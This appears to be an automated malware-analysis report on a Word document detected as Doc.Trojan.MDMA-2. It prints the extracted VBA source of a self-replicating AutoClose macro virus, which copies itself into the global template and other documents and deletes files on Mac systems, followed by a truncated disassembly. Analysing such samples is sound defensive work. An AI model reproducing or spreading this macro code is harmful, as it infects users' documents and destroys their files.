MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is identified as malicious by ClamAV and contains VBA macros, specifically an AutoClose macro. This macro attempts to install itself globally and potentially infect other documents, suggesting a downloader or worm-like behavior. The presence of legacy WordBasic auto-exec markers further supports the malicious nature of the document.
Heuristics 4
-
ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.MDMA-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6283 bytes |
SHA-256: f698398127d611021c775f09dab91430f3eb23b38572e1deea2dd66f3d720b4b |
|||
|
Detection
ClamAV:
Doc.Trojan.MDMA-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
install
infect
End Sub
Private Sub install()
Dim installed
Dim i
total = WordBasic.CountMacros(0)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
installed = 1
End If
Next
End If
If installed = 0 Then
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
Else
total = WordBasic.CountMacros(1)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
installed = 1
End If
Next
End If
If installed = 0 Then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
End If
End If
End Sub
Private Sub infect()
Dim count_
Dim i
If (WordBasic.[GetSystemInfo$](21) = "Windows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
Open "c:\shmk." For Append As 1
If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
End If
Close 1
End If
If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
WordBasic.ChDir "HD:"
count_ = WordBasic.CountDirectories()
For i = 1 To count_
WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
WordBasic.Kill WordBasic.[MacID$]("****")
WordBasic.ChDir "HD:"
Next
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/4020b21911a6466c8334e1bba088c97a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 3309 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' ArgsCall install 0x0000
' Line #3:
' ArgsCall infect 0x0000
' Line #4:
' EndSub
' Line #5:
' Line #6:
' FuncDefn (Private Sub install())
' Line #7:
' Line #8:
' Dim
' VarDefn installed
' Line #9:
' Dim
' VarDefn i
' Line #10:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd CountMacros 0x0001
' St total
' Line #11:
' LitDI2 0x0000
' St installed
' Line #12:
' Ld total
' LitDI2 0x0000
' Gt
' IfBlock
' Line #13:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld total
' For
' Line #14:
' Ld i
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0002
' LitStr 0x0009 "AutoClose"
' Eq
' IfBlock
' Line #15:
' LitDI2 0x0001
' St installed
' Line #16:
' EndIfBlock
' Line #17:
' StartForVariable
' Next
' Line #18:
' EndIfBlock
' Line #19:
' Ld installed
' LitDI2 0x0000
' Eq
' IfBlock
' Line #20:
' Line #21:
' Ld WordBasic
' ArgsMemLd [WindowName$] 0x0000
' LitStr 0x000A ":AutoClose"
' Add
' LitStr 0x0010 "Global:AutoClose"
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #22:
' ElseBlock
' Line #23:
' LitDI2 0x0001
' Ld WordBasic
' ArgsMemLd CountMacros 0x0001
' St total
' Line #24:
' LitDI2 0x0000
' St installed
' Line #25:
' Ld total
' LitDI2 0x0000
' Gt
' IfBlock
' Line #26:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld total
' For
' Line #27:
' Ld i
' LitDI2 0x0001
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0002
' LitStr 0x0009 "AutoClose"
' Eq
' IfBlock
' Line #28:
' LitDI2 0x0001
' St installed
' Line #29:
' EndIfBlock
' Line #30:
' StartForVariable
' Next
' Line #31:
' EndIfBlock
' Line #32:
' Ld installed
' LitDI2 0x0000
' Eq
' IfBlock
' Line #33:
' Li
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.